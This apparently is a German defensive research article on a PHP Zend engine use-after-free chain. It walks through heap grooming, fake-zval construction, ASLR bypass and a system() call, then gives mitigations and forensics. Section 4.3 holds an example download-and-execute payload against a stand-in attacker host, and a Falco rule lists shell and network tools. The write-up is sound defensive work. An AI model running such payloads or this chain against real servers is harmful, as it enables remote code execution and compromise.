vulnerabilities php2shell exploit

Vom Dangling Pointer zu system(): Heap-Grooming, Fake-zval-Konstruktion und RCE-Kette

php2shell.run Research Lab •

Vom Dangling Pointer zu system(): Heap-Grooming, Fake-zval-Konstruktion und RCE-Kette

<time datetime="2026-10-23">Geprüft am 23. Oktober 2026</time>

Die Umwandlung eines Use-After-Free in deterministische Remote Code Execution ist im Zend Engine eine Aufgabe für Spezialisten. Anwendungslogik wird vollständig umgangen; Ziel ist der interne Allokator Zend Memory Manager (ZMM) und die 16-Byte-Struktur zval. Diese Analyse beschreibt, wie CVE-2026-109619 und CVE-2026-109618 zu einer gemeinsamen Exploit-Kette zusammengeführt werden. Es handelt sich um Verteidigungsforschung; funktionierender Exploit-Code wird nicht veröffentlicht.


1. Aufbau und Ausrichtung der 16-Byte-zval

In PHP 7 und 8 ist jede Variable durch struct _zval_struct repräsentiert. Auf 64-Bit-Systemen ist die Struktur exakt 16 Byte groß und 8-Byte-aligniert.

 0x00               0x08           0x09      0x0A      0x0C            0x10
 ┌──────────────────┬──────────────┬─────────┬─────────┬──────────────┐
 │ zend_value       │ u1.type      │ flags   │ gc_info │ u2.extra     │
 │ (8-Byte-Zeiger)  │ (1 Byte)     │ (1 Byte)│ (2 Byte)│ (4 Byte)     │
 └────────┬─────────┴──────┬───────┴─────────┴─────────┴──────────────┘
          │                │
          │                └─► 0x08: Typfeld, z. B. auf IS_OBJECT setzen
          ▼
 ┌──────────────────────────────────────┐
 │ Fake-zend_object im Heap             │
 │ ┌──────────────────────────────────┐ │
 │ │ handlers (Zeiger auf Fake-vtable)│ │
 │ └──────────────┬───────────────────┘ │
 └────────────────┼─────────────────────┘
                  ▼
 ┌──────────────────────────────────────┐
 │ Fake-Funktions-vtable                │
 │ ┌──────────────────────────────────┐ │
 │ │ free_obj / read_property / call  │ │
 │ │ → Adresse von libc system()      │ │
 │ └──────────────────────────────────┘ │
 └──────────────────────────────────────┘
struct _zval_struct {
    zend_value value;        /* 8 Byte: zend_string*, zend_object* usw. */
    union {
        struct {
            uint8_t type;        /* IS_NULL, IS_LONG, IS_OBJECT ... */
            uint8_t type_flags;
            uint8_t u1_low;
            uint8_t u1_high;
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t next;       /* Hash-Kollisionskette */
        uint32_t extra;
    } u2;
};

Der Angriff zielt auf zwei Felder: value.ptr und u1.type. Wird value.ptr auf eine kontrollierte Fake-zend_object-Adresse gesetzt und u1.type auf IS_OBJECT, interpretiert die VM den Speicher als Objekt und ruft Handler-Funktionszeiger auf. Damit ist aus einem Datenleck ein Kontrollflussleck geworden.


2. Phase 1: Heap-Grooming und Spraying

Ein einzelner UAF-Write reicht nicht. Der freigegebene Slot muss zum richtigen Zeitpunkt mit kontrollierten Daten belegt werden. ZMM arbeitet mit Größenklassen und LIFO-Freilisten.

  1. Fragmentierung drainieren: Der Angreifer sendet Requests mit exakt passenden Headern und Body-Padding, um vorhandene Löcher zu füllen.
  2. Heap sprayen: Viele gleichartige Multipart-Requests erzeugen zahlreiche Allokationen derselben Klasse.
  3. Bin wiederverwenden: Der zuletzt freigegebene Chunk wird bevorzugt an die nächste passende Allokation ausgegeben – idealerweise an einen vom Angreifer kontrollierten String oder Session-Wert.

PHP-FPM erzeugt Worker per fork(). Das bedeutet: Der Heap-Zustand des Masters wird an alle Kinder vererbt, und die Adressräume sind nahezu identisch. Diese Determinismus ist für den Angreifer wertvoll, weil er die Belegung über mehrere Worker hinweg vorhersagen kann.

# Verteidigungsseitige Prüfung der Worker-Konfiguration
grep -E '^(pm\.|listen\.backlog|request_terminate)' \
  /etc/php/8.3/fpm/pool.d/www.conf
pm = dynamic
pm.max_children = 24
pm.start_servers = 4
pm.min_spare_servers = 2
pm.max_spare_servers = 8
pm.max_requests = 300
request_terminate_timeout = 30s

Ein niedrigeres pm.max_requests verkürzt die Lebensdauer und erschwert langfristiges Grooming. Gleichzeitig steigen die Kosten für Session-Deserialisierung und OPcache-Warmup. Die richtige Balance hängt von der Anwendung ab und sollte gemessen, nicht geraten werden.


3. Phase 2: Fake-zval konstruieren

Der freigegebene 16-Byte-Slot wird mit folgender Belegung gefüllt:

Offset  Größe  Feld               Wert
0x00    8      value.ptr          → Adresse des Fake-zend_object
0x08    1      u1.type            → IS_OBJECT (0x08)
0x09    1      u1.type_flags      → 0x00
0x0A    2      u1.extra           → 0x0000
0x0C    4      u2.next/extra      → 0x00000000

Die Zend VM dereferenziert anschließend zend_object->handlers. Diese Tabelle enthält Funktionszeiger für free_obj, read_property, call und get_gc. Der Angreifer kann entweder die Tabelle selbst fälschen oder einen bestehenden Eintrag auf system() umbiegen. Beide Varianten setzen voraus, dass die Adresse von system() bekannt ist.


4. Phase 3: ASLR umgehen und Kontrollfluss übernehmen

Moderne Distributionen aktivieren PIE und ASLR. Eine hartcodierte Adresse führt zu SIGSEGV. Deshalb kombiniert der Exploit mehrere Techniken.

4.1 Informationsleck

Ein gefälschtes IS_STRING-zval, dessen val-Zeiger auf eine Zend-Funktionstabelle zeigt, kann beim Auslesen Basisadressen offenlegen. Fehlermeldungen, var_dump-Ausgaben oder Serialisierungsantworten dienen als Kanal. Bei PHP2Shell sind es oft subtile Unterschiede in Fehlerpfaden, die einen Zeiger preisgeben.

4.2 Dynamische Auflösung

libc_base   = geleaktes_ptr - bekannter_offset
system_addr = libc_base + system_offset

Die Offsets unterscheiden sich je nach Distribution und libc-Version. Angreifer führen deshalb Tabellen für Ubuntu 22.04/24.04, Debian 12, RHEL 9 und die offiziellen php:8.x-fpm-Images mit. Wer seine Container-Basisversion öffentlich sichtbar macht, erleichtert diese Phase.

4.3 Aufruf von system()

Bei der Objektbereinigung führt die VM aus:

obj->handlers->free_obj(obj);

Auf x86_64 wird das erste Argument in RDI übergeben. Zeigt obj auf einen Speicherbereich mit einem Angreifer-String wie curl -s http://angreifer.example/p | sh, interpretiert system() ihn als Shell-Befehl. Der Prozess läuft mit den Rechten des Webservers. Dieser Schritt ist unabhängig davon, ob Benutzercode ausgeführt wurde.


5. Wie man die Kette unterbricht

5.1 Engine-Ebene

session.upload_progress.enabled = Off

5.2 Laufzeit-Ebene

- rule: PHP-FPM Spawns Shell
  desc: PHP-FPM-Worker startet Shell oder Downloader
  condition: >
    spawned_process and
    proc.pname in (php-fpm, php-fpm8.3, php-fpm8.4, php-fpm8.5) and
    proc.name in (sh, bash, dash, curl, wget, nc, ncat, socat)
  output: >
    "PHP-FPM child spawned %proc.name (parent=%proc.pname pid=%proc.pid)"
  priority: CRITICAL

5.3 Kernel-Ebene

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    { "names": ["execve", "execveat"], "action": "SCMP_ACT_ERRNO", "errnoRet": 1 }
  ]
}

Für Workloads, die keine externen Prozesse starten, beendet ein execve-Verbot die Kette im letzten Schritt. Bildverarbeitung, PDF-Generierung und Mailversand müssen vorher identifiziert und in separate Worker ausgelagert werden.

5.4 Patchstand prüfen

dpkg -l | grep -E '^ii\s+php'
apt-cache policy php8.3-fpm
rpm -qa | grep -i '^php'
dnf info php-fpm
php -v

Die offiziellen Mindestversionen sind 8.5.12, 8.4.27, 8.3.36 und 8.2.35.


6. Betriebliche Konsequenzen

Die Kette zeigt, dass PHP2Shell kein reines Anwendungsproblem ist. Sie nutzt eine Funktion, die in vielen Standardkonfigurationen aktiv ist, und verbindet sie mit einem klassischen Speicherkorruptionsmuster. Für Betreiber bedeutet das: Ein Patch-Management, das nur Anwendungscode betrachtet, greift zu kurz. Die PHP-Laufzeit selbst ist Teil der Angriffsfläche und muss versioniert, getestet und überwacht werden.

Besonders kritisch sind langlebige Worker, große pm.max_children-Werte und öffentlich erreichbare Container-Images mit bekannter libc-Version. Wer diese Faktoren reduziert, senkt die Erfolgswahrscheinlichkeit eines Angriffs, auch wenn er die Ursache nicht beseitigt. Die Reihenfolge der Maßnahmen bleibt jedoch klar: patchen, dann mitigieren, dann überwachen.


7. Forensische Spuren der Kette

Wenn ein Angriff erfolgreich war, ist der Heap-Zustand nach dem Worker-Neustart verloren. Umso wichtiger ist es, Spuren vor dem Neustart zu sichern. Aktivieren Sie Core-Dumps kontrolliert und stellen Sie sicher, dass sie nicht im Webroot oder in einem für www-data beschreibbaren Verzeichnis landen. Ein Core-Dump enthält unter Umständen Session-Daten, Zugangsdaten und Speicherfragmente – er muss verschlüsselt und zugriffsbeschränkt aufbewahrt werden.

Auf Dateisystemebene lohnt ein Blick auf kurzlebige Artefakte: Dateien in /tmp, /dev/shm und im Session-Verzeichnis, die in den letzten Minuten entstanden sind. Angreifer laden häufig kleine Hilfsprogramme nach oder schreiben eine Webshell in ein beschreibbares Upload-Verzeichnis. Ein find mit -mmin -30 und -perm -u+x liefert erste Hinweise, ersetzt aber keine vollständige Speicherforensik.

Auf Netzwerkebene sind die ersten Pakete nach dem erfolgreichen execve entscheidend. Prüfen Sie DNS-Abfragen und TLS-Verbindungen, die vom PHP-Worker ausgingen. Viele Angreifer verwenden Domains, die erst wenige Stunden zuvor registriert wurden; ein Threat-Intelligence-Abgleich der aufgelösten Namen ist oft ergiebiger als die Suche nach bekannten IPs.

Schließlich sollten Sie die gewonnenen Indikatoren in Ihre Erkennung zurückspielen. Ein neuer Falco-Regelsatz, eine Suricata-Signatur oder ein SIEM-Correlation-Rule ist nur dann wertvoll, wenn er dokumentiert und getestet ist. Führen Sie nach jedem Vorfall ein kurzes Review durch: Welche Regel hätte früher ausgelöst, welche fehlte, welche erzeugte Fehlalarme? Diese Rückkopplung ist der Unterschied zwischen einem Incident-Report und einer dauerhaft verbesserten Verteidigung.


8. Fazit

  1. 16 Byte genügen, um aus einem UAF eine Objektinterpretation zu machen.
  2. ZMM-Bins sind deterministisch genug für zuverlässiges Grooming über fork()-Worker.
  3. ASLR lässt sich durch Informationslecks oder vorberechnete Offsets überwinden.
  4. execve-Blockade ist die letzte Verteidigungslinie, wenn der Patch noch nicht eingespielt ist.

Diese Analyse dient ausschließlich der Verteidigung. Reproduktionscode wurde bewusst weggelassen.